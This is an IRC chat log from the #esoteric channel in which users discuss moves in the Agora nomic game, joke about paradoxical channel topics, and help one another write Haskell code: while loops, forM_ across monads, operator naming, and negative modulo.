< 1270064366 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :I hear it pays quite handily. < 1270064386 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :it does < 1270064393 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :btw nick < 1270064399 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I hate summer of code < 1270064413 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :fax, why? < 1270064433 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I did lots of work on something that happened to be a summer of code project and this idiot just used it for a shitty version which he got paid for < 1270064532 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :death is perfect death is fun, death is good for everyone. < 1270064564 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :coppro: Lazy < 1270064584 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :fair enough < 1270064598 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :did you read the link I sent you (you too, Sgeo)? It's vital to confusing Agora < 1270064612 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Oh? What link? < 1270064634 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Um, I think I skimmed it. Either that, or assumed that it was just a CFJ < 1270064644 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the pastebin < 1270064648 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :I have not checked email here. < 1270064657 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Unit, remember. < 1270064661 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :iPhone. < 1270064663 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oh, right < 1270064670 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ok, do it when you get home or something < 1270064677 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I just need to make sure every Agoran player clicks that link < 1270064705 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :All right — tomorrow then, or if I'm sleepy the day after. < 1270064719 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :coppro: Then I am wary! < 1270064727 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :And so will be ais. < 1270064747 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ais has read it < 1270064790 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Oh, also: I will be here on Monday too — not here here but not at here, the unit. < 1270064839 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :coppro: Tell me what it says: and if I approve of the antics I will visit the page. < 1270064878 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ehirdiphone: it's public forum antics. < 1270064885 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :err, public message antics < 1270064900 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :That is rather less precise than I desire. < 1270064900 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :http://paste.debian.net/66733/ < 1270064920 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Nope; not that easily. Paste it in /msg? < 1270064939 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :won't work < 1270064948 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :at least, I don't want to confuse things even further < 1270064956 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :even I have limits < 1270064964 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Then reword it. < 1270065005 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1270065044 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :just visit it on the weekend or something < 1270065061 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Oh, hell; Agora is none of my business. I haven't the time to play it. I should click. < 1270065069 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :But you are being evasive. < 1270065070 0 :charlesq__!~charlls@201.226.222.130 JOIN :#esoteric < 1270065089 0 :charlesq__!unknown@unknown.invalid QUIT :Client Quit < 1270065095 0 :charlls!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1270065098 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ehirdiphone, the antics are of whether a message linked to by something that's a public message is a public message < 1270065101 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Or something like that < 1270065102 0 :charlls!~charlls@201.226.222.130 JOIN :#esoteric < 1270065119 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1270065123 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :What happens in the pasted message? < 1270065130 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I try to make the paste a public message < 1270065131 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :coppro makes a proposal < 1270065134 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :and submit a proposal < 1270065147 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the rest of the antics are in the message that linked the proposal, but that one's definitely public < 1270065152 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Which is withdrawn in a known-to-be-public area < 1270065161 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Okay; link me. < 1270065172 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :> http://paste.debian.net/66733/ < 1270065180 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :(it also contains a rather lame attempt at paradox) < 1270065213 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Visited. < 1270065236 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ok, thanks < 1270065252 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Man, everyone here is crazy. < 1270065258 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1270065270 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :— here, not #esoteric < 1270065295 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1270065344 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :I am not allowed to be using the Internet incidentally. It's Health And Safety Policy — not that anyone has noticed. < 1270065413 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :fun < 1270065432 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I got to do something amusing today < 1270065472 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :a tech support guy was coming in, and told me that he needed someone 18 in the house for legal reasons. I rescheduled the appointment to next week, hopefully it'll be the same guy :) < 1270065561 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION watches himself waste time while he should be working
< 1270065614 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ehirdiphone don't get yourself in trouble < 1270065674 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Nah < 1270065677 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :The proposed traits feature would bring "horizontal reuse" to the language; think of traits as a PHPish answer to multiple inheritance or Java's interfaces. < 1270065679 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Lollll < 1270065740 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :whee < 1270065826 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Is there a point to Interfaces in a dynamically typed language? < 1270065835 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :It's a smalltalk feature < 1270065848 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Bye; gtg < 1270065851 0 :ehirdiphone!unknown@unknown.invalid QUIT :Quit: Get Colloquy for iPhone! http://mobile.colloquy.info < 1270065851 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :bye < 1270066132 0 :cal153!~cal@140a.hackerdojo.com JOIN :#esoteric < 1270066455 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :happy australian mailing list reminders day! < 1270066462 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lament they don't have poetry in brave new world < 1270067350 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I'm not in Australia, and I got a reminder for the backup lists < 1270067357 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Or is the backup list in Austrailia? < 1270067359 0 :rapido!~robbert@ip545144bf.direct-adsl.nl JOIN :#esoteric < 1270067363 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Oh, yes < 1270067995 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1270068898 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :fax: poetry sucks < 1270069006 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :if you want big bucks < 1270069284 0 :Tritonio_GR!~Tritonio@athedsl-256698.home.otenet.gr JOIN :#esoteric < 1270069537 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1270069721 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :you should drive trucks??? < 1270069833 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION should write some Haskell.. thingy for FLogic
< 1270069848 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and pretend to be rubber ducks < 1270069891 0 :hiato!unknown@unknown.invalid QUIT :Quit: underflow < 1270069976 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what's flogic < 1270069986 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :data FValue = Frue | Talse | Floyd deriving (Show) < 1270069992 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Floyd?? < 1270069992 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :fax, ftp://ftp.nvg.ntnu.no/pub/frc/29 < 1270070009 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :fax, oerjan should know < 1270070017 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh that one < 1270070069 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://i.imgur.com/ZIyam.png < 1270070163 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that's clearly cyber-bullying in the picture < 1270070170 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :from causing too many headdesks < 1270070175 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1270070218 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :wow, I need to write another fantasy rule < 1270070309 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1270070339 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :is this whole channel just a big game of "agora" and I'm the dice? < 1270070347 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It's possible to right fully-imperitive code in Haskell, right? < 1270070351 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1270070375 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What constructs of imperitive languages would need to be written by the programmer though? when -> if and forM_ -> foreach < 1270070402 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :How would you do a while? < 1270070449 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :bool true false True = true < 1270070455 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :bool true false False = false < 1270070504 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :That would be an awkward to use if/else I think < 1270070504 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :while condition body = condition >>= bool (body >> while body) (return ()) < 1270070510 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :no < 1270070513 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :if/then/else is awkward < 1270070515 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :bool is not < 1270070543 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :the whole idea of if/then/else is to just to be more 'familiar' or something stupid thing like that, it is a mistake to have added this to haskell < 1270070544 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION likes the thought of being able to use Haskell for all his imperitive needs
< 1270070578 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :while b x = b >>= flip when (x >> while b x) < 1270070586 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's called a fold by the way < 1270070687 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is already confused
< 1270070737 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :FValue has fewer than 9 possibilities, so it fails < 1270070760 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :while b x = do cond <- b; when cond (do x; while b x) < 1270070769 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo about what < 1270070782 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :while condition body = do c <- condition; if c then do body; while condition body else return () < 1270070806 0 :Azstal!~asztal@host86-155-75-239.range86-155.btcentralplus.com JOIN :#esoteric < 1270070807 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ok, those make more sense to me < 1270070813 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :than what < 1270070820 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :they're all equivalent of course < 1270070831 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I don't get why people rewrote them < 1270070869 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I had a mistake in mine < 1270070872 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: because if _is_ familiar and i thought it _would_ help Sgeo to see while written using it. < 1270070882 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :while condition body = condition >>= bool (body >> while condition body) (return ()) < 1270070896 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I really hate if/then/else it's so out of place < 1270070933 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1270070935 0 :Azstal!unknown@unknown.invalid NICK :Asztal < 1270070967 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Is there a point to forM_/mapM_ outside of the IO and ST monads? < 1270070973 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :and State < 1270070992 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Writer < 1270070997 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :RWS < 1270071000 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :RWS? < 1270071019 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :newtype RWS r w s a = RWS {runRWS :: r -> s -> (a, s, w)} < 1270071024 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Maybe if a Nothing occurs in a forM_ in the Maybe monad, the whole thing is nothing < 1270071024 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :? < 1270071029 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Or am I mistaken? < 1270071058 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: all except Reader, i think (and that one only because it cannot pass side effects _out_) < 1270071062 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, I suppose it could be used like that < 1270071069 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh Maybe too i guess < 1270071073 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Either, of course < 1270071080 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Maybe a bit more usefully than Maybe < 1270071090 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What about []? < 1270071131 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Well, you get back a list of () < 1270071133 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: oh and yeah Maybe forM_ can at least distinguish between Nothing and Just () for the reason you said < 1270071209 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i guess forM_ for [] is useless... < 1270071232 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well you get a list of ()'s, don't you < 1270071240 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You can apply length to the result and get a complicatedly-calculated integer < 1270071287 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :length . mapM_ (\x -> [x,x]) is equivalent to (^2) . length < 1270071288 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :however, the same can be done with Writer (Sum Integer) iirc < 1270071289 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I think < 1270071367 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :"If an FStatement ends with the same three words < 1270071367 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric : as another FStatement, then either both are < 1270071367 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric : Floyd, or one has the FValue Talse and the < 1270071367 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric : other has the FValue Frue." < 1270071371 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :That's mind-breaking < 1270071393 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Er, (2^), not (^2), obviously < 1270071514 0 :Oranjer!~HP_Admini@adsl-243-221-66.cae.bellsouth.net JOIN :#esoteric < 1270072267 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Can I make an operator (+) in Haskell? < 1270072275 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :((+)) = --whatever? < 1270072288 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well (+) is already defined < 1270072335 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you can (1) hide the usual definition and replace with your own, or (2) implement the Num class in which (+) is a method for your own type < 1270072345 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :But I'm asking for ((+)) < 1270072351 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1270072360 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Frue (+) Talse < 1270072363 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :For instance < 1270072365 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :no < 1270072383 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :no, (+) always means the function underlying the operator + < 1270072400 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(or \x y -> x+y) < 1270072434 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :put another way, ( and ) are not legal operator characters < 1270072439 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Darn < 1270072454 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I could call it <+> < 1270072470 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yeah that's a legal operator < 1270072484 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :in fact i think it's also defined somewhere < 1270072489 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :a legal operator named sue < 1270072489 0 :Sgeo!unknown@unknown.invalid TOPIC #esoteric :! < 1270072491 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :GAH < 1270072492 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Oops < 1270072498 0 :fax!unknown@unknown.invalid TOPIC #esoteric :< Sgeo> GAH < 1270072515 0 :lament!unknown@unknown.invalid TOPIC #esoteric :This topic is correct today, but will be incorrect tomorrow. < 1270072517 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :WTF did I press in XChat to cause that? < 1270072534 0 :Deewiant!unknown@unknown.invalid TOPIC #esoteric :this topic is incorrect today but will be correct tomorrow | last topic change: 1 day ago | http://tunes.org/~nef/logs/esoteric/?C=M;O=D < 1270072546 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Control.Arrow (<+>) :: ArrowPlus a => a b c -> a b c -> a b c < 1270072588 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hoogle lists another one related to pretty printing < 1270072593 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Actually, that topic will never be correct. < 1270072597 0 :rapido!unknown@unknown.invalid QUIT :Quit: rapido < 1270072613 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: It's not mine, it's the previous one. < 1270072629 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Previous-poster: Actually, that topic will never be correct. < 1270072636 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What derivings should I make for FValues? < 1270072638 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: You want ais523 < 1270072640 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Show, but anythign else? < 1270072645 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Actually, that topic will never be correct. < 1270072659 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: it was paradoxical the day it was created < 1270072663 0 :lament!unknown@unknown.invalid TOPIC #esoteric :this topic is correct today but will be incorrect tomorrow | last topic change: 1 day ago | http://tunes.org/~nef/logs/esoteric/?C=M;O=D < 1270072679 0 :lament!unknown@unknown.invalid TOPIC #esoteric :this topic is correct today but will be incorrect tomorrow | last topic change: today | http://tunes.org/~nef/logs/esoteric/?C=M;O=D < 1270072689 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I think, maybe not < 1270072694 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Actually, === and (+) were defined in an INVALID rule < 1270072696 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :So yeah < 1270072698 0 :oerjan!unknown@unknown.invalid TOPIC #esoteric :This topic was incorrect yesterday but is correct today | last topic change: 1 day ago | http://tunes.org/~nef/logs/esoteric/?C=M;O=D < 1270072703 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I'm willing to believe it was just wrong < 1270073696 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION hopes he got the recursive logic right
< 1270073713 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :? < 1270073742 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :To find the positions of a certain value in a list < 1270073764 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :-_- < 1270073779 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :all the positions or just the first one? < 1270073782 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://hpaste.org/fastcgi/hpaste.fcgi/view?id=24560#a24560 < 1270073783 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :All < 1270073823 0 :cal153!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1270073823 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :because elemIndex already exists for finding the first one < 1270073879 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: x:xs needs parentheses < 1270073901 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ty < 1270073937 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :The more obvious way, without using accumulators, is worse because it's not tail recursive? < 1270073974 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :no! < 1270073982 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :in fact the opposite, in haskell < 1270074024 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :So I shouldn't have bothered spraining my brain like that? < 1270074025 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :grr < 1270074027 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :*shrug* < 1270074046 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :because of the way lazy datastructures work, it is best to produce the initial cons cell as soon as possible < 1270074128 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh, oops < 1270074130 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I know n+k is considered "wrong", but is matching on number without using the +k ok? < 1270074151 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: actually your function also exists, it's called elemIndices < 1270074168 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION growls
< 1270074169 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what are the axioms of circular logic? < 1270074180 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :In general, what you want in Haskell is to try and *produce* data as quickly as possible. For instance, you would prefer to make the cons cell as quickly as possible. < 1270074191 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: the axioms of circular logic are the axioms of circular logic < 1270074199 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh lol < 1270074229 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :But you'd absolutely hate to be doing something similar with (+), because (+) doesn't do that... < 1270074250 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: like case n of 1 -> ...; 2 -> ... ? i don't think that's considered wrong < 1270074279 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :while n+k patterns are either removed or deprecated in Haskell 2010 iirc < 1270074513 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Removed. < 1270074519 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Completely and utterly removed. < 1270074533 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION thinks absvalue might be the wrong way to deal with negative modulos
< 1270074552 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: why so? < 1270074564 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh negative _modulos_ < 1270074575 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what pisses me off is removing stuff like n+k but they leave if/then/else < 1270074586 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What should -1 % 3 turn into? < 1270074598 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I don't think 1 is the right answer < 1270074601 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you can't have negative percentages < 1270074607 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's only between 0 and 100 < 1270074611 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: oh right < 1270074613 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I'm using % as the modulo operator < 1270074633 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :% is the fraction constructor in haskell btw < 1270074659 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the modulo operators are mod and rem (two variations with different behavior for negative numbers) < 1270074660 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :-_- < 1270074668 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :and they both SUCK < 1270074681 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :lament: what? < 1270074688 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :they're integer-only < 1270074692 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :or integral-only < 1270074694 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh that < 1270074717 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :there's an fmod in some module iirc < 1270074731 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :-1 `rem` 3 == -1 < 1270074741 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it wasn't effectively implemented though when i heard about it < 1270074748 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :should be in the prelude though < 1270074748 0 :augur!unknown@unknown.invalid QUIT :Remote host closed the connection < 1270074752 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION goes insane
< 1270074754 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: note that you need parentheses around the -1 < 1270074755 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :and probably called mod < 1270074760 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :... < 1270074774 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :- has precedence the same as unary and binary < 1270074781 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :So mod is what I wanted after all < 1270074785 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1270074828 0 :augur!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1270074853 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :The original FOperations were called FLeft and FRight. Should I call the Haskell versions fleft and fright, or fLeft and fRight? < 1270074854 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1270074871 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the latter is the usual style < 1270074951 0 :Asztal!unknown@unknown.invalid PRIVMSG #esoteric :it also has the bonus of not sounding scary < 1270074989 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1270075079 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1270075113 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://hpaste.org/fastcgi/hpaste.fcgi/view?id=24561#a24561 < 1270075129 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :[I mean, I'm not using that code, thanks to elemIndices, but what's wrong, exactly?] < 1270075150 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: cur_pos : acc also needs parentheses < 1270075173 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ty < 1270075175 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It worky now < 1270075215 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://hpaste.org/fastcgi/hpaste.fcgi/view?id=24562#a24562 < 1270075219 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Stylistic issues? < 1270075368 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(\x -> x==Frue) = (==Frue) < 1270075424 0 